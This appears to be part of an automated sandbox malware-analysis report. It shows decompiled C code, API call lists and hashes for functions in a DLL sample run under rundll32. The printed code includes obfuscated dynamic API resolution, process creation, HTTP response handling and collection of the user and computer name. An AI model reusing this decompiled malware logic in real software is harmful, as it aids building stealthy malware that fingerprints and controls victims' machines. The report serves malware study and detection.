lstrlen.KERNEL32(?), ref: 010F6420
lstrlen.KERNEL32(?), ref: 010F6427
lstrlenW.KERNEL32(?), ref: 010F642E

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrlen$CountFreeHeapTick
String ID:
API String ID: 2535036572-0
Opcode ID: 5007061940c785a7b3e3048f338e015602e9f451a36205d8d52a8952fe04d42d
Instruction ID: aaf70d1ddf4ee4b120ac7ca7b5d546a59736c8544660488063c9ab17f8ead9d1
Opcode Fuzzy Hash: 5007061940c785a7b3e3048f338e015602e9f451a36205d8d52a8952fe04d42d
Instruction Fuzzy Hash: 5C516E72D0021AFBCF11AFA4DC46ADE7BB6EF44314F058069FA44A7650DB36DA11DB90

Uniqueness

Uniqueness Score: -1.00%

Function 010F402A Relevance: 10.6, APIs: 7, Instructions: 109
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E010F402A(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E010F44DE(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E010F7A1E( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x10fa300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x10fa348; // 0x40ad5a8
					_t18 = _t47 + 0x10fb3f3; // 0x73797325
					_t68 = E010F7326(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x10fa348; // 0x40ad5a8
						_t19 = _t50 + 0x10fb73f; // 0x51a8ce7
						_t20 = _t50 + 0x10fb0af; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E010F23AA();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E010F23AA();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x10fa2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E010F6C2C(_t70);
				goto L12;
			}

0x010f4032
0x010f4032
0x010f4041
0x010f4048
0x010f404d
0x010f415a
0x010f4161
0x010f4161
0x010f405c
0x010f4064
0x010f4067
0x010f406c
0x010f4081
0x010f4087
0x010f4088
0x010f408b
0x010f4091
0x010f4094
0x010f4099
0x010f40a1
0x010f40ad
0x010f40b1
0x010f4141
0x010f40b7
0x010f40b7
0x010f40bc
0x010f40c3
0x010f40d7
0x010f40db
0x010f412a
0x010f40dd
0x010f40de
0x010f40e5
0x010f40fe
0x010f4100
0x010f4104
0x010f410b
0x010f4125
0x010f410d
0x010f4116
0x010f411b
0x010f411b
0x010f410b
0x010f4139
0x010f4139
0x010f40b1
0x010f4148
0x010f4151
0x010f4155
0x00000000

APIs

Part of subcall function 010F44DE: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,010F4046,?,?,?,?,00000000,00000000), ref: 010F4503
Part of subcall function 010F44DE: GetProcAddress.KERNEL32(00000000,7243775A), ref: 010F4525
Part of subcall function 010F44DE: GetProcAddress.KERNEL32(00000000,614D775A), ref: 010F453B
Part of subcall function 010F44DE: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 010F4551
Part of subcall function 010F44DE: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 010F4567
Part of subcall function 010F44DE: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 010F457D

memset.NTDLL ref: 010F4094

Part of subcall function 010F7326: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,010F40AD,73797325), ref: 010F7337
Part of subcall function 010F7326: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 010F7351

GetModuleHandleA.KERNEL32(4E52454B,051A8CE7,73797325), ref: 010F40CA
GetProcAddress.KERNEL32(00000000), ref: 010F40D1
HeapFree.KERNEL32(00000000,00000000), ref: 010F4139

Part of subcall function 010F23AA: GetProcAddress.KERNEL32(36776F57,010F7989), ref: 010F23C5

CloseHandle.KERNEL32(00000000,00000001), ref: 010F4116
CloseHandle.KERNEL32(?), ref: 010F411B
GetLastError.KERNEL32(00000001), ref: 010F411F

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
String ID:
API String ID: 3075724336-0
Opcode ID: 1a19d4ac06ef7f1ab1c22c0790c8f71323e2cf0694e3e9f02f78a76c600cff2b
Instruction ID: e832d6ef90272caf74bf9397b14f27e682be0ac2ae8ee4ee455893dac6347c27
Opcode Fuzzy Hash: 1a19d4ac06ef7f1ab1c22c0790c8f71323e2cf0694e3e9f02f78a76c600cff2b
Instruction Fuzzy Hash: 9E313E76900209AFDB10AFA4DC8AEDEBBBCFB18304F11446DFB85E7911D6755A448B50

Uniqueness

Uniqueness Score: -1.00%

Function 010F4A85 Relevance: 10.6, APIs: 7, Instructions: 92
networksynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F4A85(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E010F6D63(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E010F6C2C(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E010F6E40( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x010f4a85
0x010f4a85
0x010f4a95
0x010f4a98
0x010f4a9c
0x010f4aa2
0x010f4aa7
0x010f4ac0
0x010f4ad4
0x010f4adb
0x010f4ae2
0x010f4b35
0x010f4b3b
0x010f4b41
0x010f4b7c
0x010f4b82
0x00000000
0x00000000
0x00000000
0x010f4b41
0x010f4ae8
0x00000000
0x010f4aef
0x010f4afd
0x010f4b00
0x010f4b03
0x010f4b0f
0x010f4b13
0x010f4b75
0x010f4b15
0x010f4b27
0x010f4b65
0x010f4b70
0x010f4b29
0x010f4b2c
0x010f4b30
0x010f4b30
0x010f4b27
0x00000000
0x010f4b13
0x010f4ae8
0x010f4aac
0x010f4ab2
0x010f4ab5
0x010f4aba
0x00000000
0x00000000
0x00000000
0x010f4b4a
0x010f4b52
0x010f4b57
0x010f4b5a
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,761F81D0,00000000,00000000), ref: 010F4A9C
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?), ref: 010F4AAC
HttpQueryInfoA.WININET(?,20000013,?,?), ref: 010F4ADE
HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 010F4B03
HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 010F4B23
GetLastError.KERNEL32 ref: 010F4B35

Part of subcall function 010F6E40: WaitForMultipleObjects.KERNEL32(00000002,010F7BB5,00000000,010F7BB5,?,?,?,010F7BB5,0000EA60), ref: 010F6E5B

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

GetLastError.KERNEL32(00000000), ref: 010F4B6A

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 3369646462-0
Opcode ID: e4ed388c3bd5bda5b291e09c3935acf7a92e7ce8046c202b2e0284ded174f995
Instruction ID: 57f51a7d3ae9b6e3a5db7110c13f3e1feb9b8f18db2363e795081de99df8eff5
Opcode Fuzzy Hash: e4ed388c3bd5bda5b291e09c3935acf7a92e7ce8046c202b2e0284ded174f995
Instruction Fuzzy Hash: 6F310FB590030DEFDB21DFA5C885A9FBBF8AB08304F1049ADEB82D2951D7719A449F50

Uniqueness

Uniqueness Score: -1.00%

Function 010F3F07 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 010F3F61
SysAllocString.OLEAUT32(0070006F), ref: 010F3F75
SysAllocString.OLEAUT32(00000000), ref: 010F3F87
SysFreeString.OLEAUT32(00000000), ref: 010F3FEF
SysFreeString.OLEAUT32(00000000), ref: 010F3FFE
SysFreeString.OLEAUT32(00000000), ref: 010F4009

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 17724d36db5f05b2410ef1ae6817e5ab5fe4266f32c891a767de8dc9b156e90f
Instruction ID: f52b53d5aff96dc355ea39b4753457478e5a12149d675e50f012f582138279cd
Opcode Fuzzy Hash: 17724d36db5f05b2410ef1ae6817e5ab5fe4266f32c891a767de8dc9b156e90f
Instruction Fuzzy Hash: F4417132900609AFDB01DFFCD846A9FBBB9EF49210F14446AFE54EB260DA719905CB51

Uniqueness

Uniqueness Score: -1.00%

Function 010F44DE Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F44DE(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E010F6D63(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x10fa348; // 0x40ad5a8
					_t1 = _t23 + 0x10fb11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x10fa348; // 0x40ad5a8
					_t2 = _t26 + 0x10fb761; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E010F6C2C(_t54);
					} else {
						_t30 =  *0x10fa348; // 0x40ad5a8
						_t5 = _t30 + 0x10fb74e; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x10fa348; // 0x40ad5a8
							_t7 = _t33 + 0x10fb771; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x10fa348; // 0x40ad5a8
								_t9 = _t36 + 0x10fb4ca; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x10fa348; // 0x40ad5a8
									_t11 = _t39 + 0x10fb786; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E010F190C(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x010f44ed
0x010f44f1
0x010f45b3
0x010f44f7
0x010f44f7
0x010f44fc
0x010f450f
0x010f4511
0x010f4516
0x010f451e
0x010f4525
0x010f4527
0x010f452c
0x010f45ab
0x010f45ac
0x010f452e
0x010f452e
0x010f4533
0x010f453b
0x010f453d
0x010f4542
0x00000000
0x010f4544
0x010f4544
0x010f4549
0x010f4551
0x010f4553
0x010f4558
0x00000000
0x010f455a
0x010f455a
0x010f455f
0x010f4567
0x010f4569
0x010f456e
0x00000000
0x010f4570
0x010f4570
0x010f4575
0x010f457d
0x010f457f
0x010f4584
0x00000000
0x010f4586
0x010f458c
0x010f4591
0x010f4598
0x010f459d
0x010f45a2
0x00000000
0x010f45a4
0x010f45a7
0x010f45a7
0x010f45a2
0x010f4584
0x010f456e
0x010f4558
0x010f4542
0x010f452c
0x010f45c1

APIs

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,010F4046,?,?,?,?,00000000,00000000), ref: 010F4503
GetProcAddress.KERNEL32(00000000,7243775A), ref: 010F4525
GetProcAddress.KERNEL32(00000000,614D775A), ref: 010F453B
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 010F4551
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 010F4567
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 010F457D

Part of subcall function 010F190C: memset.NTDLL ref: 010F198B

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 51f7ca6213c22fbf878619fec43ffa4dc3264d551640046775b5c25ac72985aa
Instruction ID: 61cdd1685df202a5d618764697fb816d57fce5b14ea85014bd78cdc9c5108fa1
Opcode Fuzzy Hash: 51f7ca6213c22fbf878619fec43ffa4dc3264d551640046775b5c25ac72985aa
Instruction Fuzzy Hash: A4213E7060070ADFD720EF69C88AE9B7BFCEF44600705446DEA85C7A11DB75E9098FA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F3472 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E010F3472(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x10fa3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E010F61FC( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E010F6F28(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E010F6C2C(_a8);
						goto L29;
					}
					_t64 =  *0x10fa318; // 0x51a9d70
					_t16 = _t64 + 0xc; // 0x51a9e92
					_t65 = E010F61FC(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d010f90
						if(E010F4822(_t97,  *_t33, _t91, _a8,  *0x10fa3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x10fa348; // 0x40ad5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x10fba4c; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x10fba47; // 0x55434b48
								_t69 = _t34;
							}
							if(E010F62F6(_t69,  *0x10fa3d4,  *0x10fa3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x10fa348; // 0x40ad5a8
									_t44 = _t71 + 0x10fb842; // 0x74666f53
									_t73 = E010F61FC(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d010f90
										E010F74B6( *_t47, _t91, _a8,  *0x10fa3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d010f90
										E010F74B6( *_t49, _t91, _t99,  *0x10fa3d0, _a16);
										E010F6C2C(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d010f90
									E010F74B6( *_t40, _t91, _a8,  *0x10fa3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d010f90
									E010F74B6( *_t43, _t91, _a8,  *0x10fa3d0, _a16);
								}
								if( *_t101 != 0) {
									E010F6C2C(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d010f90
					_t81 = E010F12CA( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d010f90
							E010F4822(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E010F6C2C(_t100);
						_t98 = _a16;
					}
					E010F6C2C(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E010F7A1E(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x10fa3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}

0x010f3472
0x010f347b
0x010f3482
0x010f3487
0x010f34f4
0x010f34fa
0x010f34ff
0x010f3506
0x010f350b
0x010f3510
0x010f367b
0x010f3682
0x010f3682
0x010f3687
0x010f3689
0x010f3689
0x010f3692
0x010f3692
0x010f3516
0x010f3522
0x010f3671
0x010f3674
0x00000000
0x010f3674
0x010f3528
0x010f352d
0x010f3530
0x010f3535
0x010f353a
0x010f3583
0x010f3583
0x010f3596
0x010f35a0
0x010f35a6
0x010f35ad
0x010f35b7
0x010f35b7
0x010f35af
0x010f35af
0x010f35af
0x010f35af
0x010f35d9
0x010f35e1
0x010f360f
0x010f3614
0x010f361b
0x010f3620
0x010f3624
0x010f3656
0x010f3626
0x010f3633
0x010f3636
0x010f3646
0x010f3649
0x010f364f
0x010f364f
0x010f35e3
0x010f35f0
0x010f35f3
0x010f3605
0x010f3608
0x010f3608
0x010f3660
0x010f366c
0x010f3662
0x010f3665
0x010f3665
0x010f3660
0x010f35d9
0x00000000
0x010f35a0
0x010f3549
0x010f354c
0x010f3553
0x010f3559
0x010f355c
0x010f355e
0x010f356a
0x010f356d
0x010f356d
0x010f3573
0x010f3578
0x010f3578
0x010f357e
0x00000000
0x010f357e
0x010f348c
0x00000000
0x010f34b3
0x010f34b3
0x010f34bf
0x010f34d2
0x010f34d8
0x010f34e0
0x00000000
0x010f34e0

APIs

StrChrA.SHLWAPI(010F7168,0000005F,00000000,00000000,00000104), ref: 010F34A5
lstrcpy.KERNEL32(?,?), ref: 010F34D2

Part of subcall function 010F61FC: lstrlen.KERNEL32(?,00000000,051A9D70,00000000,010F39E8,051A9F93,69B25F44,?,?,?,?,69B25F44,00000005,010FA00C,4D283A53,?), ref: 010F6203
Part of subcall function 010F61FC: mbstowcs.NTDLL ref: 010F622C
Part of subcall function 010F61FC: memset.NTDLL ref: 010F623E

Part of subcall function 010F74B6: lstrlenW.KERNEL32(?,?,?,010F363B,3D010F90,80000002,010F7168,010F7283,74666F53,4D4C4B48,010F7283,?,3D010F90,80000002,010F7168,?), ref: 010F74DB

Part of subcall function 010F6C2C: RtlFreeHeap.NTDLL(00000000,00000000,010F5E1D,00000000,?,?,00000000), ref: 010F6C38

lstrcpy.KERNEL32(?,00000000), ref: 010F34F4

Strings

\, xrefs: 010F34D8
(, xrefs: 010F3555

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: ($\
API String ID: 3924217599-1512714803
Opcode ID: c86a942c8c3c25464dce73f06e065045d5d8bbb07bd2dcd46cdc971af81451a3
Instruction ID: 126b2fa4b4a0d65f8baafa140d1f72827625745eca8bfeef84633ade3a2ef71f
Opcode Fuzzy Hash: c86a942c8c3c25464dce73f06e065045d5d8bbb07bd2dcd46cdc971af81451a3
Instruction Fuzzy Hash: 09516C3150020AEFDF229F64D846EEA3BB9FF48354F00845CFB959A920DB76E915DB10

Uniqueness

Uniqueness Score: -1.00%

Function 010F2A11 Relevance: 7.6, APIs: 5, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F2A11() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x746bc742
						_v12 = _v12 + _t11;
						_t64 = E010F6D63(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E010F6C2C(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x10f57e9
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x010f2a1f
0x010f2a22
0x010f2a25
0x010f2a2b
0x010f2a30
0x010f2a36
0x010f2a3e
0x010f2a41
0x010f2a47
0x010f2a4c
0x010f2a55
0x010f2a59
0x010f2a66
0x010f2a6a
0x010f2a6c
0x010f2a70
0x010f2a73
0x010f2a83
0x010f2ad6
0x010f2ad7
0x010f2a85
0x010f2a8a
0x010f2a8b
0x010f2a90
0x010f2a93
0x010f2aa6
0x00000000
0x010f2aa8
0x010f2aab
0x010f2ab0
0x010f2abe
0x010f2ac1
0x010f2ac7
0x010f2acc
0x00000000
0x010f2ace
0x010f2ace
0x010f2ad1
0x010f2ad1
0x010f2acc
0x010f2aa6
0x010f2adc
0x010f2add
0x010f2a4c
0x010f2ae3

APIs

GetUserNameW.ADVAPI32(00000000,010F57E7), ref: 010F2A25
GetComputerNameW.KERNEL32(00000000,010F57E7), ref: 010F2A41

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

GetUserNameW.ADVAPI32(00000000,010F57E7), ref: 010F2A7B
GetComputerNameW.KERNEL32(010F57E7,746BC740), ref: 010F2A9E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,010F57E7,00000000,010F57E9,00000000,00000000,?,746BC740,010F57E7), ref: 010F2AC1

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
